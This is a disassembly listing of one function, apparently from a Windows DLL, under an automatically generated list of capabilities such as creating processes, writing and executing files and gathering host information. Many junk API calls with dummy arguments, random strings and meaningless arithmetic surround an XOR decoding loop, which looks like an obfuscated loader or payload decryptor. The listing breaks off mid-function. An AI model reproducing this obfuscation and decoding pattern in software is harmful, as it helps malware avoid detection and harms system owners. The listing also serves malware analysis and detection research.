Function at 0x1800071f0
Capabilities:
Check for unexpected memory writes
Copy file
Create directory
Create process on windows
Delete directory
Delete file
Enumerate files on windows
Extract resource via kernel32 functions
Get disk information
Get disk size
Get file attributes
Get geographical location
Get hostname
Get memory capacity
Set current directory
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xc8
mov eax, dword [0x18007bda4]
mov ecx, 0xa23d9bd5
cmp rax, rcx
jne 0x180007304
lea rdx, str.enRkKASFYPfFSVTUKMFzBDbB
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadDescription]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, str.bDkSHZNyofQbMPXAGWDWBneYGTfFR
xor r8d, r8d
lea rdx, str.mjUvBCnSBToaOfUavidX
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindStringOrdinal]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileNameW]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.ZfgvOzLLOuHGJbxAiqo
lea rdx, str.EdtaDzjzcNCPoeVcnNzhTu
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_NotifyUILanguageChange]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64SuspendThread]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSizeEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryIdleProcessorCycleTime]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InterlockedPushListSListEx]
mov dword [rsp + 0x78], 0
jmp 0x180007319
mov eax, dword [rsp + 0x78]
add eax, 8
mov dword [rsp + 0x78], eax
mov eax, dword [0x18007bdac]
cmp dword [rsp + 0x78], eax
jae 0x180008ab9
mov eax, dword [rsp + 0x78]
mov rcx, qword [rsp + 0xd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0], rax
mov eax, dword [0x18007bda4]
mov ecx, 0x80eb3546
cmp rax, rcx
jne 0x1800074b2
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSearchPathMode]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsGetValue]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadGroupAffinity]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UnlockFile]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemFileCacheSize]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileBandwidthReservation]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DiscardVirtualMemory]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
xor edx, edx
lea rcx, str.bdIAgMIIvsFgyXjENTIkjnqZIHIuU
call qword [sym.imp.KERNEL32.dll_LoadModule]
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rax, str.JZxJhaFennjSyeo
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, str.fNeIssqqeAIgqpSIoJ
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNLSString]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadUILanguage]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMaskEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov eax, dword [rsp + 0x78]
mov rcx, qword [rsp + 0xd8]
lea rax, [rcx + rax + 4]
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0x9c], 0
mov eax, dword [0x18007bda4]
mov ecx, 0x994512ba
cmp rax, rcx
jne 0x1800076a8
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetAppContainerNamedObjectPath]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProximityNode]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_NeedCurrentDirectoryForExePathW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryThreadCycleTime]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProximityNode]
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteProfileStringW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveVectoredContinueHandler]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSearchPathMode]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PowerClearRequest]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeLibraryWhenCallbackReturns]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetTapeParameters]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetOverlappedResultEx]
call qword [sym.imp.KERNEL32.dll_GetConsoleCP]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenPrivateNamespaceW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMaximumProcessorCount]
mov dword [rsp + 0x98], 4
mov dword [rsp + 0x74], 0
mov eax, dword [rsp + 0x98]
lea eax, [rax*4 + 0x1f]
mov dword [rsp + 0x74], eax
jmp 0x1800076d9
mov eax, dword [rsp + 0x74]
dec eax
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0xffffffff
je 0x180008ab4
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax]
mov dword [rsp + 0x9c], eax
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax]
shl eax, 6
mov dword [rsp + 0x7c], eax
mov eax, dword [0x18007bda4]
mov ecx, 0xd1522800
cmp rax, rcx
jne 0x180007899
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
xor r8d, r8d
xor edx, edx
lea rcx, str.OQfAXgESOJtzeTyxquyzUXVG
call qword [sym.imp.KERNEL32.dll_OpenFile]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UpdateResourceW]
xor eax, eax
lock inc dword [rax]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str.aFtrUzvtSZPhxrwmrzKI
xor r8d, r8d
xor edx, edx
lea rcx, str.ednFDhmBDRBzNIqdEgIaNAALpQsy
call qword [sym.imp.KERNEL32.dll_GetTimeFormatEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsBadCodePtr]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDevicePowerState]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTimeFormatW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.dVuOovSeDcQMPnB
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStringScripts]
xor eax, eax
lock dec dword [rax]
call qword [sym.imp.KERNEL32.dll_GetThreadErrorMode]
call qword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalSize]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForThreadpoolWaitCallbacks]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeServerSessionId]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalFree]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeServerProcessId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AddSIDToBoundaryDescriptor]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax]
shr eax, 8
mov dword [rsp + 0x90], eax
mov dword [rsp + 0x64], 0x1eac
mov dword [rsp + 0x58], 0x18b3
mov dword [rsp + 0x6c], 0
mov dword [rsp + 0x5c], 0x17e4
mov dword [rsp + 0x60], 0x2349
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x54], 0x191c
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x70], 0
mov eax, dword [rsp + 0x58]
sub eax, 0xb76
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x50], 0x1dda
mov eax, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x68], 0xc63
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x64]
sub eax, 0xbe8
mov dword [rsp + 0x64], eax
mov dword [rsp + 0x80], 0
jmp 0x18000796c
mov eax, dword [rsp + 0x80]
inc eax
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0x5d
jge 0x180007983
mov eax, dword [rsp + 0x58]
add eax, 3
mov dword [rsp + 0x58], eax
jmp 0x18000795c
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x5c]
sub eax, 0x16e5
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
add eax, 0xb2b
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x90]
mov ecx, dword [rsp + 0x7c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0], eax
xor edx, edx
mov eax, dword [rsp + 0x74]
div dword [rsp + 0x98]
mov eax, edx
mov eax, eax
mov edx, eax
mov rcx, qword [rsp + 0xd0]
call fcn.180009ef0
mov ecx, dword [rsp + 0xb0]
add ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x68]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
je 0x180007a2a
cmp dword [rsp + 0x68], 0
jle 0x180007a2a
mov eax, dword [rsp + 0x68]
sub eax, 0x139f
mov dword [rsp + 0x68], eax
jmp 0x180007a37
mov eax, dword [rsp + 0x68]
add eax, 0x139f
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x5c]
add eax, 0x1284
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x6c]
add eax, 0x2062
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x68]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
je 0x180007aad
mov eax, dword [rsp + 0x68]
inc eax
mov dword [rsp + 0x68], eax
jmp 0x180007a91
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x68]
sub eax, 0xce3
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x64]
sub eax, 0x1550
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
add eax, 0x33f
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
add eax, 0x9ec
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x60]
add eax, 0x1e7f
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x64]
sub eax, 0x102f
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x5c]
sub eax, 0x1b91
mov dword [rsp + 0x5c], eax
mov eax, dword [0x18007bda4]
mov ecx, 0x850bb3be
cmp rax, rcx
jne 0x180007d7b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadStackGuarantee]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalFlags]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetDynamicTimeZoneInformation]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.rQqJCsJQyoHVWwGKQXnSwApI
xor edx, edx
lea rcx, str.YykENMXkERBcVEntpgjueKfCZh
call qword [sym.imp.KERNEL32.dll_GetCalendarInfoEx]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapLock]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelThreadpoolIo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CompareFileTime]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerExW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapCreate]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Beep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PowerSetRequest]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateSymbolicLinkTransactedW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TryAcquireSRWLockShared]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsBadWritePtr]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov eax, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x5c]
add eax, 0x765
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x50]
sub eax, 0x5ac
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x6c]
add eax, 0x1c6d
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x64]
add eax, 0x14e1
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x6c]
add eax, 0x1f00
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x68]
sub eax, 0x1d80
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x54]
sub eax, 0x1402
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov dword [rsp + 0x84], 0
jmp 0x180007e63
mov eax, dword [rsp + 0x84]
inc eax
mov dword [rsp + 0x84], eax
cmp dword [rsp + 0x84], 0x3d
jge 0x180007e7a
mov eax, dword [rsp + 0x50]
sub eax, 6
mov dword [rsp + 0x50], eax
jmp 0x180007e53
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
sub eax, 0xa54
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
sub eax, 0x4dd
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
sub eax, 0x1f80
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x60]
sub eax, 0x70d
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x50]
sub eax, 0x49c
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x68]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
je 0x180007f69
mov eax, dword [rsp + 0x68]
inc eax
mov dword [rsp + 0x68], eax
jmp 0x180007f4b
mov eax, dword [rsp + 0x58]
add eax, 0xf29
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x64]
sub eax, 0x18d8
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x54]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x180007faa
cmp dword [rsp + 0x54], 0
jle 0x180007faa
mov eax, dword [rsp + 0x54]
add eax, 0x1a6
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
add eax, 0x1a4d
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x54]
add eax, 0x1cd2
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
sub eax, 0x1c49
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
sub eax, 0x108
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x50]
add eax, 0x1893
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x60]
